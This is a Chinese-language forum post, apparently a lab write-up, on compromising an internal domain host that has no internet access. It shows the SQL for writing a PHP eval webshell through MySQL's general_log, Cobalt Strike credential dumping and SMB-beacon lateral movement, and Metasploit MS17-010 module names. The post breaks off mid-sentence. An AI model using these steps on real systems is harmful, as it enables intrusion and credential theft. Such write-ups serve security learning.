標題:巧用smb拿下不出網主機

taibeihacker

Moderator

0x00 前言​

之前在打一個域環境的時候出現了域內主機不出網的情況,當時用的是cs的socks代理將不出網主機的流量代理到了邊緣主機上。當時沒有考慮太多,下來之後想到搭一個環境復現一下當時的情況,看有沒有更簡便的方法能夠打下不出網的主機。
機緣巧合之下,發現了這個域環境還不錯,再复現的過程中也有一些知識觸及了我的知識盲區,也收穫了許多新的知識。特地把過程記錄下來,與想要學習打域內不出網主機的師傅們共同分享。

0x01 靶场地址分配​

內網網段:192.168.52.0/24
外網網段:192.168.10.0/24
攻擊機:
kali:192.168.10.11
靶場:
win7(內):192.168.52.143
win7(外):192.168.10.15
域內主機:
Winserver2003:192.168.52.141
Winserver2008:192.168.52.138
其中win7可以外網、內網通信,域內主機只能內網之間進行通信
1049983-20220124163901746-2144489756.png
1049983-20220124163902189-1458240487.png
1049983-20220124163902594-1519777036.png

一開始DCping不通win7,win7關閉防火牆之後可以ping通
1049983-20220124163903004-1338279191.png

打開C盤下的phpstudy目錄打開web服務
1049983-20220124163903593-149325616.png

0x02 web服务器渗透​

nmap探测端口​

nmap -sS -P0 -sV -O 192.168.10.15
1049983-20220124163906230-936810712.png

開了80端口,嘗試訪問web地址,發現為php探針
1049983-20220124163906836-164637923.png

滑到最底部,發現網站底部有一個MySQL數據庫連接檢測
1049983-20220124163907375-846620892.png

弱口令root/root連接成功
1049983-20220124163907838-986737968.png

扫描后台​

我這裡用的是御劍,但是好像很拉,因為在我打完這個靶場之後再去網上看的時候發現他們很多掃出來一個cms,通過cms也能拿shell,這裡我就不演示怎麼用cms弱口令進後台寫shell了,如果有感興趣的小伙伴可以自行搜索一下
1049983-20220124163908277-241425413.png

發現phpmyadmin目錄,還是root/root弱口令登陸成功
1049983-20220124163908735-1590975810.png

進入後界面如下所示
1049983-20220124163909352-372133666.png

0x03 通过phpmyadmin写shell​

通過phpmyadmin寫shell有兩種方式
首先我嘗試select into outfile直接寫入,但是他這裡secure_file_priv的值為NULL,所以無法提權
1049983-20220124163909862-667465136.png

只能使用另外一種方法,用全局日誌寫shell
SHOW VARIABLES LIKE '%general%'
查看配置,可以看到全局日誌是處於關閉的狀態,gengeral_log_file返回了日誌的絕對地址
1049983-20220124163910268-1724805009.png

那這裡我先把它的全局日誌打開,再往它路徑裡面寫入一個一句話木馬
set global general_log=on;
1049983-20220124163910682-1879618747.png

開啟全局日誌後修改絕對路徑,注意這裡有一個坑,日誌給我們返回的路徑是C:\\phpStudy\\MySQL\\data\\stu1.log,但是mysql訪問的絕對地址為C:\\phpStudy\\WWW目錄下的文件,所以這個地方寫shell必須要寫到WWW目錄下才能夠用蟻劍連接上
set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
1049983-20220124163911142-676987047.png

這裡再寫入一句話木馬
select '?php eval($_POST[cmd]);'
1049983-20220124163911549-1659420760.png

然後再上蟻劍連接即可
1049983-20220124163911903-1002772197.png

可以看到連接成功
1049983-20220124163912348-1706029029.png

0x03 内网信息搜集​

查看下系統的權限,一上來就是administrator權限就很舒服
1049983-20220124163912724-972833949.png

ipconfig /all查看網絡信息,域環境+雙網卡
1049983-20220124163913157-1401831141.png

1049983-20220124163913516-1835974496.png

tasklist /svc粗略看了一下,似乎是沒有殺軟的
1049983-20220124163914007-273676775.png

想著沒有殺軟,那麼直接用最簡單粗暴的上cs更省心,上傳一個cs生成的木馬exe到目標主機上
1049983-20220124163914407-1971344544.png

用計劃任務上線cs
1049983-20220124163914832-1750744115.png

成功上線
1049983-20220124163915243-66467728.png

0x04 内网渗透​

信息搜集​

net view查看域信息
1049983-20220124163915628-1443883904.png

使用cs自帶的端口掃描掃一波主機
1049983-20220124163916046-1924451041.png

掃出來所有的主機如下
1049983-20220124163916412-1448650307.png

hashdump抓一波hash
1049983-20220124163916769-803218867.png

logonpasswords抓一波明文
1049983-20220124163917209-1566886515.png

所有憑證如下,打碼的原因是因為之前登陸的時候密碼要重置,弄了一個帶有個人信息的密碼
1049983-20220124163917586-1840235401.png

思路​

這裡我測試了一下,因為目標主機沒有開啟防火牆,是能夠通過cs自帶的psexec一波橫向抓域控和域內機器密碼的,但是鑑於這個win7雙網卡且域內另外主機不出網的情況,練習一下如何打不出網的主機
不出網機器上線一般有以下幾種方式:
使用smb beacon配置listener通過HTTP代理上線使用pystinger搭建socks4代理這裡我使用SMB beacon這個方法
SMB
Beacon使用命名管道通過父級Beacon進行通訊,當兩個Beacons鏈接後,子Beacon從父Beacon獲取到任務並發送。因為鏈接的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協議中,所以SMB
beacon相對隱蔽。 SMB beacon不能直接生成可用載荷, 只能使用PsExec或Stageless Payload上線
首先得到內網中一台主機的beacon,抓取密碼後進行smb噴射,得到另一台開放445端口的機器上的administrator賬戶密碼,在目標機器不出網的情況下,可以使用Smb
beacon使目標主機上線
1049983-20220124163918064-935605408.png

1.使用條件
具有SMB Beacon 的主機必須接受445 端口上的連接。只能鏈接由同一個Cobalt Strike 實例管理的Beacon。利用這種beacon橫移必須有目標主機的管理員權限或者說是擁有具有管理員權限的憑據。 2.使用方法
(1)建立smb listener
1049983-20220124163918542-2065634361.png

(2)在cs中使用psexec進行橫向移動,選擇現有的beacon作為跳板,這裡憑據必須是administrator
,即擁有目標主機管理員權限
1049983-20220124163918984-1708931929.png

(3)連接成功,可以看到smb beacon上線的主機右側有∞∞標識
使用這種方法上線的機器,主要是通過出網機作為一個中間人,不出網主機成功上線後,如果出網機一斷開,這個不出網主機也會斷
1049983-20220124163919345-1490915206.png

0x05 内网横向渗透​

思路​

用Ladon掃一波內網的永恆之藍,發現這幾台主機都存在MS17-010
1049983-20220124163919760-922662305.png

ms17010常見的幾種打法:
msfladon/ladon_ms17010從msf分離出的exenessus裡的execs插件這幾種打法,我在這個環境中都做過嘗試。過程就不一一敘述了,直接說我測試的結果
msf是最穩定的,但是打起來有稍許的麻煩因為要設置監聽模塊和選擇攻擊模塊等配置。 ladon_ms17010方便但是不太穩有時候會打不成功。 cs插件也不穩,並且在這種不出網網絡不穩定的情況下成功率會變的更低
在這種不出網的情況下,可以優先考慮使用從msf分離出的exe和ladon_ms17010來打,打成功會直接通過自定義的dll新建一個用戶並加入管理員組,開啟3389端口,而且還會留一個粘滯鍵後門
根據實際情況,可考慮在合適的時間段和條件下直接遠程登入,翻一下敏感數據,往往會因為運維人員的很多“好習慣”而給滲透帶來很多便利,比如說“密碼本.txt”

cs派生msf会话​

msf設置監聽端口
1049983-20220124163920416-31141225.png

cs新建端口建立對話
1049983-20220124163920944-1939505415.png

運行拿到meterpreter
1049983-20220124163921365-1291046948.png

ms_17_010获取域控权限​

這裡因為知道了DC是有ms_17_010這個漏洞的,所以我先嘗試了用永恆之藍打一波
使用如下模塊
exploit/windows/smb/ms17_010_eternalblue
1049983-20220124163922189-1365242399.png

運行之後發現exp已經打過去了但是沒有session建立
1049983-20220124163922999-380152774.png

再換個ms17010的模塊
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/blind_tcp
1049983-20220124163923559-2136735050.png

同樣沒有拿到shell,當時沒有細想,後來我考慮到可能是win7處於兩個網段的原因,所以用永恆之藍直接打是拿不到shell的
1049983-20220124163923989-1404717762.png

msf打不出网机器的ms_17_010​

想到之前拿到了win7的meterpreter,所以用添加路由的方式嘗試一下
msf在單兵作戰的時候還是很穩定很香的。 win7在msf上線後,因為我們已經提前知道了,存在5
 
返回
上方